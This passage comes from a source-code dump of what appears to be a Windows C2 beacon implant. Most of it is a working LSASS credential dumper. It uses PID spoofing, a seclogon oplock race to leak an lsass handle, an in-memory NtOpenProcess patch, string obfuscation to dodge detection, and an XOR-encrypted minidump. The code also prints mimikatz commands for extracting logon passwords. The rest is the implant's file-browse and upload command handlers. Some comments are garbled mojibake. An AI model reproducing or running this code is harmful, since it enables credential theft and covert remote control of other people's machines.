= *tokenHandlesLen + 1;\n\t\t}\n\t}\n\tfree(handleInfo);\n}\nBOOL EnableImpersonatePrivilege() {\n\tHANDLE currentProcessToken = NULL;\n\tOpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);\n\tBOOL setPrivilegeSuccess = SetPrivilege(currentProcessToken, L\"SeImpersonatePrivilege\", TRUE);\n\tCloseHandle(currentProcessToken);\n\treturn setPrivilegeSuccess;\n}\nvoid MalSeclogonPPIDSpoofing(int pid, wchar_t* cmdline)\n{\n\tPROCESS_INFORMATION procInfo;\n\tSTARTUPINFO startInfo;\n\tDWORD originalPid, originalTid;\n\tHANDLE tokenHandles[8192];\n\tDWORD tokenHandlesCount = 0;\n\tBOOL useCreateProcessWithToken = FALSE;\n\tBOOL processCreatedWithToken = FALSE;\n\tEnableDebugPrivilege(FALSE);\n\tSpoofPidTeb((DWORD)pid, &originalPid, &originalTid);\n\tRtlZeroMemory(&procInfo, sizeof(PROCESS_INFORMATION));\n\tRtlZeroMemory(&startInfo, sizeof(STARTUPINFO));\n\tif (EnableImpersonatePrivilege()) {\n\t\tFindTokenHandlesInProcess(pid, tokenHandles, &tokenHandlesCount);\n\t\tif (tokenHandlesCount < 1) {\n\t\t\tprintf(\"No token handles found in process %d, can't use CreateProcessWithToken(). Reverting to CreateProcessWithLogon()...\\n\", pid);\n\t\t\tuseCreateProcessWithToken = FALSE;\n\t\t}\n\t\telse\n\t\t\tuseCreateProcessWithToken = TRUE;\n\t}\n\telse {\n\t\tprintf(\"Impersonation privileges not available, can't use CreateProcessWithToken(). Reverting to CreateProcessWithLogon()...\\n\");\n\t\tuseCreateProcessWithToken = FALSE;\n\t}\n\tif (useCreateProcessWithToken) {\n\t\tfor (DWORD i = 0; i < tokenHandlesCount; i++) {\n\t\t\tif (CreateProcessWithTokenW(tokenHandles[i], 0, NULL, cmdline, 0, NULL, NULL, &startInfo, &procInfo)) {\n\t\t\t\tprocessCreatedWithToken = TRUE;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (processCreatedWithToken) {\n\t\t\t// the returned handles in procInfo are wrong and duped into the spoofed parent process, so we can't close handles or wait for process end.\n\t\t\tprintf(\"Spoofed process %S created correctly as child of PID %d using CreateProcessWithTokenW()!\", cmdline, pid);\n\t\t}\n\t\telse {\n\t\t\tprintf(\"CreateProcessWithTokenW() failed with error code %d \\n\", GetLastError());\n\t\t}\n\t}\n\telse {\n\t\tif (!CreateProcessWithLogonW(L\"MalseclogonUser\", L\"MalseclogonDomain\", L\"MalseclogonPwd\", LOGON_NETCREDENTIALS_ONLY, NULL, cmdline, 0, NULL, NULL, &startInfo, &procInfo)) {\n\t\t\tprintf(\"CreateProcessWithLogonW() failed with error code %d \\n\", GetLastError());\n\n\t\t}\n\t\telse {\n\t\t\t// the returned handles in procInfo are wrong and duped into the spoofed parent process, so we can't close handles or wait for process end.\n\t\t\tprintf(\"Spoofed process %S created correctly as child of PID %d using CreateProcessWithLogonW()!\", cmdline, pid);\n\t\t}\n\t}\n\tRestoreOriginalPidTeb(originalPid, originalTid);\n}\n\nDWORD WINAPI ThreadSeclogonLock(LPVOID lpParam) {\n\tTHREAD_PARAMETERS* thread_params = (THREAD_PARAMETERS*)lpParam;\n\tMalSeclogonPPIDSpoofing(thread_params->pid, thread_params->cmdline);\n\treturn 0;\n}\n\n// credits to @tirannido\n// took from --> https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CommonUtils/FileOpLock.cpp\nvoid CreateFileLock(HANDLE hFile, LPOVERLAPPED overlapped) {\n\tREQUEST_OPLOCK_INPUT_BUFFER inputBuffer;\n\tREQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer;\n\tinputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\n\tinputBuffer.StructureLength = sizeof(inputBuffer);\n\tinputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;\n\tinputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;\n\toutputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\n\toutputBuffer.StructureLength = sizeof(outputBuffer);\n\tDeviceIoControl(hFile, FSCTL_REQUEST_OPLOCK, &inputBuffer, sizeof(inputBuffer), &outputBuffer, sizeof(outputBuffer), NULL, overlapped);\n\tDWORD err = GetLastError();\n\tif (err != ERROR_IO_PENDING) {\n\t\tprintf(\"Oplock Failed %d\\n\", err);\n\t\texit(-1);\n\t}\n}\n\nvoid LeakLsassHandleInSeclogonWithRaceCondition(DWORD lsassPid) {\n\twchar_t fileToLock[] = L\"C:\\\\Windows\\\\System32\\\\license.rtf\";\n\tOVERLAPPED overlapped;\n\tDWORD dwBytes;\n\tTHREAD_PARAMETERS thread_params;\n\tHANDLE hFile = CreateFile(fileToLock, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);\n\toverlapped.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\n\tCreateFileLock(hFile, &overlapped);\n\tthread_params.pid = lsassPid;\n\tthread_params.cmdline = fileToLock;\n\t// we need to run CreateProcessWithToken() in a separate thread because the file lock would also lock our thread\n\tCreateThread(NULL, 0, ThreadSeclogonLock, (LPVOID)&thread_params, 0, NULL);\n\t// this call will halt the current thread until someone will access the locked file. We expect seclogon trying to access license.rtf when calling CreateProcessAsUser()\n\tif (!GetOverlappedResult(hFile, &overlapped, &dwBytes, TRUE)) {\n\t\tprintf(\"Oplock Failed. Exiting...\\n\");\n\t\texit(-1);\n\t}\n\tprintf(\"Seclogon thread locked. A lsass handle will be available inside the seclogon process!\\n\");\n\t\n\n}\n\nvoid RestoreOriginalPidTeb(DWORD originalPid, DWORD originalTid) {\n\tCLIENT_ID CRealPid;\n\tDWORD oldProtection, oldProtection2;\n\tCLIENT_ID* pointerToTebPid = &(NtCurrentTeb()->ClientId);\n\tCRealPid.UniqueProcess = (HANDLE)originalPid;\n\tCRealPid.UniqueThread = (HANDLE)originalTid;\n\tmemcpy(pointerToTebPid, &CRealPid, sizeof(CLIENT_ID));\n}\n\nBOOL FileExists(LPCTSTR szPath)\n{\n\tDWORD dwAttrib = GetFileAttributes(szPath);\n\treturn (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));\n}\n\nNTSTATUS QueryObjectTypesInfo(__out POBJECT_TYPES_INFORMATION* TypesInfo) {\n\tNTSTATUS Status;\n\tULONG BufferLength = 0x1000;\n\tPVOID Buffer;\n\tpNtQueryObject NtQueryObject = (pNtQueryObject)GetProcAddress(LoadLibrary(L\"ntdll.dll\"), \"NtQueryObject\");\n\t*TypesInfo = NULL;\n\tdo {\n\t\tBuffer = malloc(BufferLength);\n\t\tif (Buffer == NULL)\n\t\t\treturn (NTSTATUS)STATUS_INSUFFICIENT_RESOURCES;\n\t\tStatus = NtQueryObject(NULL, ObjectTypesInformation, Buffer, BufferLength, &BufferLength);\n\t\tif (NT_SUCCESS(Status)) {\n\t\t\t*TypesInfo = Buffer;\n\t\t\treturn Status;\n\t\t}\n\t\tfree(Buffer);\n\t} while (Status == STATUS_INFO_LENGTH_MISMATCH);\n\treturn Status;\n}\n\nNTSTATUS GetTypeIndexByName(__in PCUNICODE_STRING TypeName, __out PULONG TypeIndex) {\n\tNTSTATUS Status;\n\tPOBJECT_TYPES_INFORMATION ObjectTypes;\n\tPOBJECT_TYPE_INFORMATION_V2 CurrentType;\n\t*TypeIndex = 0;\n\tpRtlCompareUnicodeString RtlCompareUnicodeString = (pRtlCompareUnicodeString)GetProcAddress(LoadLibrary(L\"ntdll.dll\"), \"RtlCompareUnicodeString\");\n\tStatus = QueryObjectTypesInfo(&ObjectTypes);\n\tif (!NT_SUCCESS(Status)) {\n\t\tprintf(\"QueryObjectTypesInfo failed: 0x%08x\\n\", Status);\n\t\treturn Status;\n\t}\n\tCurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_FIRST_ENTRY(ObjectTypes);\n\tfor (ULONG i = 0; i < ObjectTypes->NumberOfTypes; i++) {\n\t\tif (RtlCompareUnicodeString(TypeName, &CurrentType->TypeName, TRUE) == 0) {\n\t\t\t*TypeIndex = i + 2;\n\t\t\tbreak;\n\t\t}\n\t\tCurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_NEXT_ENTRY(CurrentType);\n\t}\n\tif (!*TypeIndex)\n\t\tStatus = STATUS_NOT_FOUND;\n\tfree(ObjectTypes);\n\treturn Status;\n}\n\n\nvoid FindProcessHandlesInTargetProcess(DWORD targetPid, HANDLE* handlesToLeak, PDWORD handlesToLeakCount)\n{\n\tPSYSTEM_HANDLE_INFORMATION handleInfo = NULL;\n\tDWORD handleInfoSize = 0x10000;\n\tNTSTATUS status;\n\tULONG processTypeIndex;\n\tUNICODE_STRING processTypeName = RTL_CONSTANT_STRING(L\"Process\");\n\tstatus = GetTypeIndexByName(&processTypeName, &processTypeIndex);\n\tif (!NT_SUCCESS(status)) {\n\t\tprintf(\"GetTypeIndexByName failed 0x%08x\\n\", status);\n\t\texit(-1);\n\t}\n\tpNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(LoadLibrary(L\"ntdll.dll\"), \"NtQuerySystemInformation\");\n\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);\n\twhile ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)\n\t\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);\n\tfor (DWORD i = 0; i < handleInfo->HandleCount; i++) {\n\t\tif (handleInfo->Handles[i].ObjectTypeIndex == processTypeIndex && handleInfo->Handles[i].UniqueProcessId == targetPid) {\n\t\t\thandlesToLeak[*handlesToLeakCount] = (HANDLE)handleInfo->Handles[i].HandleValue;\n\t\t\t*handlesToLeakCount = *handlesToLeakCount + 1;\n\t\t}\n\t}\n\tfree(handleInfo);\n}\n\nvoid ReplaceNtOpenProcess(HANDLE leakedHandle, char* oldCode, int* oldCodeSize) {\n\t/*\n\t\tmov QWORD [rcx], 0xffff\n\t\txor rax, rax\n\t\tret\n\t*/\n\tchar replacedFunc[] = { 0x48, 0xC7, 0x01, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x31, 0xC0, 0xC3 };\n\tDWORD oldProtection, oldProtection2;\n\tchar* addrNtOpenProcess = (char*)GetProcAddress(LoadLibrary(L\"ntdll.dll\"), \"NtOpenProcess\");\n\t// we save old code to restore the original function\n\t*oldCodeSize = sizeof(replacedFunc);\n\tmemcpy(oldCode, addrNtOpenProcess, *oldCodeSize);\n\tmemcpy((replacedFunc + 3), (WORD*)&leakedHandle, sizeof(WORD));\n\tVirtualProtect(addrNtOpenProcess, sizeof(replacedFunc), PAGE_EXECUTE_READWRITE, &oldProtection);\n\tmemcpy(addrNtOpenProcess, replacedFunc, sizeof(replacedFunc));\n\tVirtualProtect(addrNtOpenProcess, sizeof(replacedFunc), oldProtection, &oldProtection2);\n}\n\nvoid RestoreNtOpenProcess(char* oldCode, int oldCodeSize) {\n\tDWORD oldProtection, oldProtection2;\n\tchar* addrNtOpenProcess = (char*)GetProcAddress(LoadLibrary(L\"ntdll.dll\"), \"NtOpenProcess\");\n\tVirtualProtect(addrNtOpenProcess, oldCodeSize, PAGE_EXECUTE_READWRITE, &oldProtection);\n\tmemcpy(addrNtOpenProcess, oldCode, oldCodeSize);\n\tVirtualProtect(addrNtOpenProcess, oldCodeSize, oldProtection, &oldProtection2);\n}\n\nvoid EncryptAndWriteDumpToDisk(wchar_t* dumpPath, int xorKey) {\n\tHANDLE hDumpFileEncrypted;\n\tDWORD bytesRead, bytesWritten;\n\tchar* readBuffer = gDumpBuffer;\n\tbytesRead = gBytesRead;\n\tfor (DWORD i = 0; i < bytesRead; i++)\n\t\treadBuffer[i] = readBuffer[i] ^ (char)xorKey;\n\n\thDumpFileEncrypted = CreateFile(dumpPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n\tif (hDumpFileEncrypted == INVALID_HANDLE_VALUE) {\n\t\tprintf(\"Cannot create file %S. Exiting...\\n\", dumpPath);\n\t\texit(1);\n\t}\n\tWriteFile(hDumpFileEncrypted, readBuffer, bytesRead, &bytesWritten, NULL);\n\tCloseHandle(hDumpFileEncrypted);\n\tif (FileExists(dumpPath)) {\n\t\tunsigned char* add = (unsigned char*)malloc(163);\n\t\tunsigned char Success[95] = \"EncodeData Check the path C:\\\\lsass.dmp.xor \\nDecodeData DumpLsass.exe -t 2 -f lsass.dmp.xor -k \";\n\t\tmemcpy(add, Success, sizeof(Success));\n\t\tunsigned char key[4]; // 数字转字符串缓冲区\n\t\tsprintf(key, \"%d\", xorKey); // 将整数转换为字符串\n\t\tmemcpy(add + sizeof(Success), key, 4);\n\t\tunsigned char mikz[64] = \"\\nsekurlsa::minidump lsass.dmp.xor \\nsekurlsa::logonpasswords full\";\n\t\tmemcpy(add + sizeof(Success) + 4, mikz, 64);\n\t\tDataProcess(add, sizeof(Success) + sizeof(mikz) + 4, 0);\n\t\tprintf(\"EncodeData Check the path %S\\n\", dumpPath);\n\t\tprintf(\"DecodeData DumpLsass.exe -t 2 -f tron.xor -k %d\\n\", xorKey, xorKey);\n\t}\n\telse\n\t\tprintf(\"Something went wrong :(\\n\");\n}\n\nvoid MalSeclogonDumpLsassWithSeclogonRaceCondition(int lsassPid, wchar_t* dumpPath, int xorKey) {\n\tPROCESS_INFORMATION procInfo;\n\tSTARTUPINFO startInfo;\n\tDWORD originalPid, originalTid;\n\tchar oldCode[15];\n\tint oldCodeSize;\n\tHANDLE handles[8192];\n\tDWORD handlesCount = 0;\n\tDWORD seclogonPid = 0;\n\tHANDLE hSeclogon, hDupedHandle, hLsassClone;\n\tNTSTATUS status;\n\tMINIDUMP_CALLBACK_INFORMATION callbackInfo;\n\twchar_t dbgcoreStr[] = { L'd', L'b', L'g', L'c', L'o', L'r', L'e', L'.', L'd', L'l', L'l', 0x00, 0x00 };\n\twchar_t ntdllStr[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', 0x00, 0x00 };\n\tchar MiniDumpWriteDumpStr[] = { 'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p', 0x00 };\n\tchar NtCreateProcessExStr[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'E', 'x', 0x00 };\n\tpMiniDumpWriteDump MiniDumpWriteDumpDyn = (pMiniDumpWriteDump)GetProcAddress(LoadLibrary(dbgcoreStr), MiniDumpWriteDumpStr);\n\tpNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(LoadLibrary(ntdllStr), NtCreateProcessExStr);\n\tEnableDebugPrivilege(TRUE);\n\tseclogonPid = GetPidUsingFilePath(L\"C:\\\\WINDOWS\\\\system32\\\\seclogon.dll\");\n\tif (seclogonPid == 0) {\n\t\tprintf(\"Seclogon service not running, trying to wake-up...\\n\");\n\t\tRtlZeroMemory(&procInfo, sizeof(PROCESS_INFORMATION));\n\t\tRtlZeroMemory(&startInfo, sizeof(STARTUPINFO));\n\t\tCreateProcessWithTokenW(-1, 0, NULL, L\"cmd\", 0, NULL, NULL, &startInfo, &procInfo);\n\t\t// trying again to get the seclogon pid\n\t\tseclogonPid = GetPidUsingFilePath(L\"C:\\\\WINDOWS\\\\system32\\\\seclogon.dll\");\n\t}\n\tSpoofPidTeb((DWORD)lsassPid, &originalPid, &originalTid);\n\tLeakLsassHandleInSeclogonWithRaceCondition((DWORD)lsassPid);\n\tRestoreOriginalPidTeb(originalPid, originalTid);\n\tFindProcessHandlesInTargetProcess(seclogonPid, handles, &handlesCount);\n\tif (handlesCount < 1) {\n\t\tprintf(\"No process handles found in seclogon. The race condition didn't work.\\n\");\n\t\texit(-1);\n\t}\n\tif (FileExists(dumpPath)) DeleteFile(dumpPath);\n\thSeclogon = OpenProcess(PROCESS_DUP_HANDLE, FALSE, seclogonPid);\n\tfor (DWORD i = 0; i < handlesCount; i++) {\n\t\tDuplicateHandle(hSeclogon, handles[i], GetCurrentProcess(), &hDupedHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);\n\t\tif (GetProcessId(hDupedHandle) == lsassPid) {\n\t\t\tstatus = NtCreateProcessEx(&hLsassClone, MAXIMUM_ALLOWED, NULL, hDupedHandle, 0x1001, NULL, NULL, NULL, FALSE);\n\t\t\tif (status != 0) {\n\t\t\t\tprintf(\"NtCreateProcessEx failed with ntstatus 0x%08x\", status);\n\t\t\t\texit(-1);\n\t\t\t}\n\t\t\t// Set up minidump callback\n\t\t\tRtlZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));\n\t\t\tcallbackInfo.CallbackRoutine = &MinidumpCallbackRoutine;\n\t\t\tcallbackInfo.CallbackParam = NULL;\n\t\t\t// init global vars for storing dump in memory\n\t\t\tgDumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_LSASS_DMP_SIZE);\n\t\t\tgBytesRead = 0;\n\t\t\t// we ensure no one will close the handle, it seems RtlQueryProcessDebugInformation() called from MiniDumpWriteDump() try to close it\n\t\t\tSetHandleInformation(hLsassClone, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE);\n\t\t\t// we need to patch NtOpenProcess because MiniDumpWriteDump() would open a new handle to lsass and we want to avoid that\n\t\t\tReplaceNtOpenProcess((HANDLE)hLsassClone, oldCode, &oldCodeSize);\n\n\t\t\tBOOL result = MiniDumpWriteDumpDyn((HANDLE)hLsassClone, GetProcessId(hLsassClone), NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);\n\t\t\tif (!result) {\n\t\t\t\tprintf(\"MiniDumpWriteDump failed with error code %d\\n\", GetLastError());\n\t\t\t\texit(-1);\n\t\t\t}\n\t\t\tRestoreNtOpenProcess(oldCode, oldCodeSize);\n\t\t\t// unprotect the handle for close\n\t\t\tSetHandleInformation(hLsassClone, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0);\n\t\t\tEncryptAndWriteDumpToDisk(dumpPath, xorKey);\n\t\t\tHeapFree(GetProcessHeap(), 0, gDumpBuffer);\n\t\t\tgDumpBuffer = NULL;\n\t\t\tCloseHandle(hLsassClone);\n\t\t\tbreak;\n\t\t}\n\t\tCloseHandle(hDupedHandle);\n\t}\n\tCloseHandle(hSeclogon);\n}\n\nDWORD WINAPI DumphashThread(LPVOID lpParam) {\n\tint xorKey = GenerateEvenRandomInt(20, 100);\n\tDWORD targetPid = GetPidUsingFilePath(L\"C:\\\\Windows\\\\system32\\\\lsass.exe\");;\n\tMalSeclogonDumpLsassWithSeclogonRaceCondition(targetPid, L\"C:\\\\lsass.dmp.xor\", xorKey);\n\treturn 0;\n}\nint DumpHASH() {\n\t\n\t//MalSeclogonDumpLsassWithSeclogonRaceCondition(targetPid, encryptedDumpPath, xorKey);\n\t\n\n\tHANDLE myThread = CreateThread(\n\t\tNULL,                       // 默认线程安全性\n\t\t0,                          // 默认堆栈大小\n\t\tDumphashThread,           // 线程函数\n\t\t0,                       // 传递给线程函数的参数\n\t\t0,                          // 默认创建标志\n\t\tNULL);                      // 不存储线程ID\n\n\tif (myThread == NULL) {\n\t\tfprintf(stderr, \"Failed to create thread. Error code: %lu\\n\", GetLastError());\n\t\treturn 1;\n\t}\n\t//WaitForSingleObject(myThread, INFINITE);\n\n\t// 关闭线程和事件句柄\n\tCloseHandle(myThread);\n\n}"
  },
  {
    "path": "Beacon/File.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <pthread.h>\n#include \"Command.h\"\n#pragma warning(disable:4996)\n#define PATH_MAX 4096\n#define MAX_PATH_LENGTH 1048\n#define MAX_TIME_STRING_LENGTH 50\nextern unsigned char AESRandaeskey[16];\nextern int Counter;\n\n\nunsigned char* getFormattedTime(time_t modTime) {\n    unsigned char* timeStr = (unsigned char*)malloc(20 * sizeof(unsigned char)); // Allocate memory for time string\n    struct tm* tm_info;\n    tm_info = localtime(&modTime);\n    strftime((char*)timeStr, 20, \"%d/%m/%Y %H:%M:%S\", tm_info);\n    return timeStr;\n}\nwchar_t* convertToWideChar(const unsigned char* input) {\n    int len = MultiByteToWideChar(CP_ACP, 0, (LPCCH)input, -1, NULL, 0);\n    if (len == 0) {\n        perror(\"MultiByteToWideChar failed\");\n        return NULL;\n    }\n\n    wchar_t* wideStr = (wchar_t*)malloc(len * sizeof(wchar_t));\n    if (wideStr == NULL) {\n        perror(\"Memory allocation failed\");\n        return NULL;\n    }\n\n    if (MultiByteToWideChar(CP_ACP, 0, (LPCCH)input, -1, wideStr, len) == 0) {\n        perror(\"MultiByteToWideChar failed\");\n        free(wideStr);\n        return NULL;\n    }\n\n    return wideStr;\n}\nunsigned char* convertWideCharToUTF8(const wchar_t* wideStr) {\n    if (!wideStr) return NULL;\n\n    int utf8Len = wcstombs(NULL, wideStr, 0);\n    if (utf8Len <= 0) return NULL;\n\n    unsigned char* utf8Str = (unsigned char*)malloc(utf8Len + 1);\n    if (!utf8Str) return NULL;\n\n    wcstombs((char*)utf8Str, wideStr, utf8Len);\n    utf8Str[utf8Len] = '\\0';\n\n    return utf8Str;\n}\nunsigned char* listDirectory(unsigned char* dirPathy , size_t* dirPathStrlen) {\n    \n    setlocale(LC_ALL, \"\");\n    wchar_t* path = convertToWideChar(dirPathy);\n    struct _wfinddata_t file_info;\n    intptr_t handle;\n    wchar_t search_path[MAX_PATH_LENGTH];\n    size_t len = wcslen(path);\n    if (len > 0 && path[len - 1] == L'/') {\n        path[len - 1] = L'\\0';\n    }\n    swprintf(search_path, MAX_PATH_LENGTH, L\"%s\\\\*\", path);\n\n    if ((handle = _wfindfirst(search_path, &file_info)) == -1L) {\n        wprintf(L\"޷Ŀ¼: %s\\n\", path);\n        wcscpy(search_path, L\"C:\\\\*\");\n        handle = _wfindfirst(search_path, &file_info);\n        \n    }\n\n    wchar_t resultStr[PATH_MAX];\n    resultStr[0] = L'\\0'; // Ensure the string is initially empty\n\n    swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L\"%s\", search_path);\n    swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L\"\\nD\\t0\\t%s\\t%s\", L\"20/12/2023 12:10:12\", L\".\");\n    swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L\"\\nD\\t0\\t%s\\t%s\", L\"20/12/2023 12:10:12\", L\"..\");\n    wchar_t timeString[MAX_TIME_STRING_LENGTH];\n    do {\n        if (wcscmp(file_info.name, L\".\") != 0 && wcscmp(file_info.name, L\"..\") != 0) {\n            if (file_info.attrib & _A_SUBDIR) {\n                // Directory\n                time_t modified_time = (time_t)file_info.time_write;\n                struct tm* timeinfo = localtime(&modified_time);\n\n                // Format time as a string and store it in timeString\n                wcsftime(timeString, MAX_TIME_STRING_LENGTH, L\"%Y/%m/%d %H:%M:%S\", timeinfo);\n\n                swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L\"\\nD\\t0\\t%s\\t%s\", timeString,file_info.name);\n            }\n            else {\n                // File\n                time_t modified_time = (time_t)file_info.time_write;\n                struct tm* timeinfo = localtime(&modified_time);\n\n                // Format time as a string and store it in timeString\n                wcsftime(timeString, MAX_TIME_STRING_LENGTH, L\"%Y/%m/%d %H:%M:%S\", timeinfo);\n                swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L\"\\nF\\t%lld\\t%s\\t%s\",file_info.size , timeString ,file_info.name);\n               \n            }\n        }\n    } while (_wfindnext(handle, &file_info) == 0);\n\n    _findclose(handle);\n\n    wprintf(L\"ļĿ¼Ϣ:\\n%s\\n\", resultStr);\n    unsigned char* resultStrchar = convertWideCharToUTF8(resultStr);\n    *dirPathStrlen = strlen(resultStrchar);\n    return resultStrchar;\n}\nunsigned char* CmdFileBrowse(unsigned char* commandBuf,size_t* lenn) {\n    uint8_t pendingRequest[4];\n    uint8_t dirPathLenBytes[4];\n    unsigned char* pendingRequeststart = commandBuf;\n    unsigned char* dirPathLenBytesstart = commandBuf + 4;\n    memcpy(pendingRequest, pendingRequeststart, 4);\n    memcpy(dirPathLenBytes, dirPathLenBytesstart, 4);\n    uint32_t dirPathLen = bigEndianUint32(dirPathLenBytes);\n    unsigned char* dirPathBytes = (unsigned char*)malloc(dirPathLen);\n    unsigned char* dirPathBytesstart = commandBuf + 8;\n    memcpy(dirPathBytes, dirPathBytesstart, dirPathLen);\n    dirPathBytes[dirPathLen] = '\\0';\n    \n\n \n    unsigned char*  dirPathStr = str_replace_all(dirPathBytes, \"*\", \"\");\n    \n    unsigned char* dirPathStr11[] = {0x2e,0x2f};\n\n    if (*dirPathStr == *dirPathStr11) {\n        char cwd[PATH_MAX];\n        if (getcwd(cwd, sizeof(cwd)) == NULL) {\n            perror(\"getcwd\");\n            return EXIT_FAILURE;\n        }\n\n        unsigned char* relativePath = \"\"; // ·\n        char absolutePath[PATH_MAX];\n        snprintf(absolutePath, sizeof(absolutePath), \"%s/%s\", cwd, relativePath);\n        dirPathStr = absolutePath;\n        printf(\"·: %s\\n\", absolutePath);\n    }\n    else\n    {\n        dirPathStr = str_replace_all(dirPathStr, \"/\", \"\\\\\");\n\n        \n       \n    }\n    printf(\"dirPathStr %s\\n\", dirPathStr);\n    size_t dirPathStrlen;\n    \n\n    unsigned char* result = listDirectory(dirPathStr,&dirPathStrlen);\n    if (result != NULL) {\n        printf(\"%s\\n\", result);\n        // Free memory allocated for result string\n    }\n\n    \n    uint8_t* result8 = (uint8_t*)result;\n    uint8_t* metaInfoBytes[] = { pendingRequest, result8 };\n    size_t metaInfosizes[] = { 4,dirPathStrlen };\n    size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]);\n    uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays);\n    size_t metaInfoSize = 0;\n    //  sizeof ֵܺ\n    for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) {\n        metaInfoSize += metaInfosizes[i];\n    }\n    if (metaInfoconcatenated != NULL) {\n        printf(\"metaInfoconcatenated Byte Stream: \");\n       \n    }\n    printf(\"%s\\n\", metaInfoconcatenated);\n    int callbackType = 0;\n    *lenn = metaInfoSize;\n\n    return metaInfoconcatenated;\n    \n    \n}\n\nunsigned char* parseUpload(unsigned char* commandBuf,size_t* commandBuflen, size_t* lenn,int chunkNumber) {\n    //printf(\"commandBuf %d \\n\", commandBuflen);\n    uint8_t filePathLenBytes[4];\n    unsigned char* filePathLenstart = commandBuf;\n    \n    memcpy(filePathLenBytes, filePathLenstart, 4);\n    /*printf(\"filePathLenBytes \\n\"); \n    for (size_t i = 0; i < 4; ++i) {\n        printf(\"0x%0x,, \", filePathLenBytes[i]);\n    }\n    printf(\"\\n\");*/\n    uint32_t filePathLen = bigEndianUint32(filePathLenBytes);\n    unsigned char* filePath = (unsigned char*)malloc(filePathLen);\n    filePath[filePathLen] = '\\0';\n    unsigned char* filePathstart = commandBuf+4;\n    memcpy(filePath, filePathstart, filePathLen);\n    printf(\"filePath  %d\\n\",filePathLen);\n    for (size_t i = 0; i < filePathLen; ++i) {\n        printf(\"0x%0x,, \", filePath[i]);\n    }\n    printf(\"%s  \", filePath);\n    printf(\"\\n\");\n    size_t fileContenthlen = (size_t)commandBuflen - 4 - (size_t)filePathLen;\n    unsigned char* fileContenth = (unsigned char*)malloc(fileContenthlen);\n    fileContenth[fileContenthlen] = '\\0';\n    unsigned char* fileContenthstart = commandBuf + filePathLen +4;\n\n    unsigned char* chunk = (unsigned char*)malloc(1024);\n\n    if (!chunk) {\n        perror(\"Error allocating memory\");\n        return;\n    }\n\n    size_t bytesRead;\n    size_t offset = 0;\n\n    while (offset < (size_t)fileContenthlen) {\n        size_t remaining = (size_t)fileContenthlen - offset;\n        size_t chunkSize = remaining > 1024 ? 1024 : remaining;\n\n        //  fileContenthstart жȡ chunkSize С\n        memcpy(chunk, fileContenthstart + offset, chunkSize);\n\n        Upload(filePath, chunk, chunkSize, chunkNumber);\n\n        offset += chunkSize;\n        chunkNumber++;\n    }\n\n    unsigned char* Uploadstr = \"success, the offset is: \";\n    unsigned char offsetchar[20]; // תַ\n    sprintf(offsetchar, \"%d\", offset); // תΪַ\n    unsigned char* result = (unsigned char*)malloc(strlen(offsetchar)+strlen(Uploadstr));\n    result[strlen(offsetchar) + strlen(Uploadstr)]='\\0';\n    \n\n    memcpy(result, Uploadstr,strlen(Uploadstr));\n    memcpy(result + strlen(Uploadstr), offsetchar, strlen(offsetchar));\n    *lenn = strlen(offsetchar) + strlen(Uploadstr);\n    return result;\n\n}\nint Upload(const unsigned char* filePath, const unsigned char* fileContent, size_t contentSize, int isStart) {\n    FILE* fp;\n    const char* mode;\n    \n    if (isStart == 1) {\n        // ļڣҪûϴǰֶɾ\n        mode = \"wb\"; // Զдģʽļļض\n    }\n    else {\n        mode = \"ab\"; // ׷Ӷдģʽļ\n    }\n\n    fp = fopen(filePath, mode);\n    if (fp == NULL) {\n        perror(\"File open error\");\n        return -1;\n    }\n\n    int bytesWritten = fwrite(fileContent, sizeof(unsigned char), contentSize, fp);\n    if (bytesWritten != contentSize) {\n        perror(\"File write error\");\n       